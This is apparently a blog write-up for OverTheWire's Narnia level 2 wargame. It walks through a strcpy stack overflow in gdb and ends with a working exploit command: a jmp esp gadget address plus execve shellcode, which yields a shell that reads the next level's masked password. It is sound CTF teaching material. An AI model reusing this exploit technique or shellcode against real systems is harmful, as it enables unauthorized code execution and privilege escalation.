OverTheWire.org - Narnia - Level 2 Writeup

This one is the very classic stack buffer overflow.
Let's look at the source code:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}
The vulnerability is in the strcpy() function at line 12.
It copies a supplied string (first parameter in command line) into buf[128].
Putting more than 128 bytes into buf will result in a buffer overflow.

We can overwrite the return address of the main function so we can control where EIP is redirect when the main function return.
The goal is to redirect EIP to the memory location of the argument we can control.
The basic scheme is to supply a argument that contains a shellcode (execve("/bin//sh") and  the memory location where this shellcode resides.

Let's do it inside the GNU debugger (gdb) and use a buffer of 128 "A", followed by "BBBB", "CCCC" etc...


arnia2@narnia:~$ gdb /narnia/narnia2
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /narnia/narnia2...(no debugging symbols found)...done.
(gdb) set args $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

The argument overflows the buffer with the "CCCC" strings and it permits to control flow execution.

There are a some options available to exploit this overflow to run arbitrary code.
The main issue of this vulnerabilities is that we need to know where the buffer is located in memory.

One option is to guess where the shellcode will be located in memory: it will be  on the stack but we don't know exactly the address before the real execution of the code.
We may need to guess the address by trying a reasonable address and repeat until we find the location of the buffer
This process can be easily repeated with a script and can be made more reliable by adding a NOP sled ("0x90") in front of the shellcode.
So the buffer can be "\x90" * 105 + 23-byte-shellcode + "BBBB" + "Guessed memory address".

A better approach is to use the JMP ESP tecnique, which only requires one try.

Getting back to gdb, we show the registers values and we look at memory content at the location pointed by  ESP registers

(gdb) info registers
eax            0x0      0
ecx            0x7fffff6f       2147483503
edx            0xf7fc6870       -134453136
ebx            0x0      0
esp            0xffffd660       0xffffd660
ebp            0x42424242       0x42424242
esi            0x2      2
edi            0xf7fc5000       -134459392
eip            0x43434343       0x43434343
eflags         0x10286  [ PF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) x/10x 0xffffd660
0xffffd660:     0x44444444      0x45454545      0xffffd700      0x00000000
0xffffd670:     0x00000000      0x00000000      0xf7fc5000      0xf7ffdc0c
0xffffd680:     0xf7ffd000      0x00000000

We find that, at the time of flow redirection, ESP points to the bytes in the buf just after the memory location we want to overwrite to modifiy the execution flow.

Why don't we find a way to execute a "jmp esp" instead of returning to an address that we don't know in advance? The exploit would be much more reliable and wouldn't require any guess.

The problem is to execute a "jmp esp" instead of redirecting execution.
We can do this by finding a "jmp esp" opcode (0xffe4) somewhere in memory with gdb (in the same session)
With the "info proc map" command we see the memory locations used by the process and we find the string 0xffe4 in the memory space where libc is loaded in the process:
We find such string at the memory location 0xf7fc4f97


(gdb) info proc map
process 5536
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /narnia/narnia2
         0x8049000  0x804a000     0x1000        0x0 /narnia/narnia2
         0x804a000  0x806b000    0x21000        0x0 [heap]
        0xf7e10000 0xf7e12000     0x2000        0x0
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0
        0xf7fd2000 0xf7fd4000     0x2000        0x0
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find /b 0xf7fc3000, 0xf7fc5000, 0xff, 0xe4
0xf7fc4f97
1 pattern found.
(gdb) x/wx 0xf7fc4f97
0xf7fc4f97:     0xfc5be4ff

If we repeat this multiple times we find that the address of libc and of "jmp esp"is always the same.

So we build a new shellcode that overwrite the return address with the location of "jmp esp" followed by a shellcode.
The initial part of the buffer can be filled with anything (like "A")


"A"*132 + "\x97\x4f\xfc\xf7" + execve-shellcode


narnia2@narnia:~$  /narnia/narnia2  $(python -c 'print "A"*132 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$ cat /etc/narnia_pass/narnia3
v*******e
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.